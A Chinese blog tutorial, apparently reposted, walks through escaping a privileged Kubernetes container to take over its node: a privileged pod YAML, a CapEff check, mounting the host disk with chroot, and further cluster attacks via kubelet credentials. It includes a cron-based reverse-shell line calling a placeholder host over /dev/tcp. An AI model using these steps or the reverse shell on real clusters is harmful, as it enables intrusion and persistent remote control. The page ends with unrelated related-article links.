K8s攻击案例:Privileged特权容器导致节点沦陷

本文主要是介绍K8s攻击案例:Privileged特权容器导致节点沦陷,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

01、概述

特权容器(Privileged Container)是一种比较特殊的容器,在K8s中运行特权容器,需要将 Privileged 设为 true ,容器可以执行几乎所有可以直接在主机上执行的操作。

基于此,利用容器的特权配置可以获取容器所在节点的权限,甚至从节点权限提升至集群管理员权限。

02、攻击场景

编写yaml文件,在securityContext中加入参数,将privileged设置为true,使用特权模式运行Pod。

4eca78bef75e5b63a62d936c111890c9.png

yaml文件内容:

apiVersion: v1
kind: Pod
metadata:name: pod1
spec:containers:- image: nginxname: pod1command: ['/bin/sh','-c','sleep 24h'] securityContext:privileged: true

02、攻击过程

(1) 判断是否特权模式

在容器中可以使用命令检测当前容器是否以特权容器启动,CapEff对应的掩码值在centos中为 0000001fffffffff ,在ubuntu中为0000003fffffffff。

基于以上,可以简单的通过一行命令,如果返回的是Yes说明当前是特权模式,如果返回No则不是。

cat /proc/self/status |grep -qi "0000001fffffffff" && echo "Yes" || echo "No"

5c3db377d27756fabb9312add7e8e182.png

(2)查看当前磁盘分区情况,获取宿主机分区

547afb6dc61b0e0431f126a1eddf9225.png

(3)将宿主机目录挂载到容器里,chroot进入宿主机系统,获取宿主机的权限。

ce99294b3fee615a0ad96f191c718d4a.png

(4)此时,也可以使用计划任务反弹shell。

echo '* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/12345 0>&1' >> /var/spool/cron/root

e3c38e7ac7b6aa06ccc07fa8d85c2e0c.png

(5)在Node节点上查找kubelet配置文件,一般情况下,开启了NodeRestriction准入插件,kubelet证书可用来查看pod信息,但是不能创建Pod。下载kubecrl命令行工具, 收集信息为进一步攻击K8s集群提供必要的条件。

f4a86b78ec4732672f9130480d7a69ae.png

这篇关于K8s攻击案例:Privileged特权容器导致节点沦陷的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/526896

相关文章

六个案例搞懂mysql间隙锁

《六个案例搞懂mysql间隙锁》MySQL中的间隙是指索引中两个索引键之间的空间,间隙锁用于防止范围查询期间的幻读,本文主要介绍了六个案例搞懂mysql间隙锁,具有一定的参考价值,感兴趣的可以了解一下... 目录概念解释间隙锁详解间隙锁触发条件间隙锁加锁规则案例演示案例一:唯一索引等值锁定存在的数据案例二:

MySQL版本问题导致项目无法启动问题的解决方案

《MySQL版本问题导致项目无法启动问题的解决方案》本文记录了一次因MySQL版本不一致导致项目启动失败的经历,详细解析了连接错误的原因,并提供了两种解决方案:调整连接字符串禁用SSL或统一MySQL... 目录本地项目启动报错报错原因:解决方案第一个:第二种:容器启动mysql的坑两种修改时区的方法:本地

MySQL 表的内外连接案例详解

《MySQL表的内外连接案例详解》本文给大家介绍MySQL表的内外连接,结合实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录表的内外连接(重点)内连接外连接表的内外连接(重点)内连接内连接实际上就是利用where子句对两种表形成的笛卡儿积进行筛选,我

Java Stream.reduce()方法操作实际案例讲解

《JavaStream.reduce()方法操作实际案例讲解》reduce是JavaStreamAPI中的一个核心操作,用于将流中的元素组合起来产生单个结果,:本文主要介绍JavaStream.... 目录一、reduce的基本概念1. 什么是reduce操作2. reduce方法的三种形式二、reduce

Spring Boot 整合 Redis 实现数据缓存案例详解

《SpringBoot整合Redis实现数据缓存案例详解》Springboot缓存,默认使用的是ConcurrentMap的方式来实现的,然而我们在项目中并不会这么使用,本文介绍SpringB... 目录1.添加 Maven 依赖2.配置Redis属性3.创建 redisCacheManager4.使用Sp

springboot项目redis缓存异常实战案例详解(提供解决方案)

《springboot项目redis缓存异常实战案例详解(提供解决方案)》redis基本上是高并发场景上会用到的一个高性能的key-value数据库,属于nosql类型,一般用作于缓存,一般是结合数据... 目录缓存异常实践案例缓存穿透问题缓存击穿问题(其中也解决了穿透问题)完整代码缓存异常实践案例Red

Nginx使用Keepalived部署web集群(高可用高性能负载均衡)实战案例

《Nginx使用Keepalived部署web集群(高可用高性能负载均衡)实战案例》本文介绍Nginx+Keepalived实现Web集群高可用负载均衡的部署与测试,涵盖架构设计、环境配置、健康检查、... 目录前言一、架构设计二、环境准备三、案例部署配置 前端 Keepalived配置 前端 Nginx

使用雪花算法产生id导致前端精度缺失问题解决方案

《使用雪花算法产生id导致前端精度缺失问题解决方案》雪花算法由Twitter提出,设计目的是生成唯一的、递增的ID,下面:本文主要介绍使用雪花算法产生id导致前端精度缺失问题的解决方案,文中通过代... 目录一、问题根源二、解决方案1. 全局配置Jackson序列化规则2. 实体类必须使用Long封装类3.

SpringIOC容器Bean初始化和销毁回调方式

《SpringIOC容器Bean初始化和销毁回调方式》:本文主要介绍SpringIOC容器Bean初始化和销毁回调方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录前言1.@Bean指定初始化和销毁方法2.实现接口3.使用jsR250总结前言Spring Bea

MySQL 复合查询案例详解

《MySQL复合查询案例详解》:本文主要介绍MySQL复合查询案例详解,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧... 目录基本查询回顾多表笛卡尔积子查询与where子查询多行子查询多列子查询子查询与from总结合并查询(不太重要)union基本查询回顾查询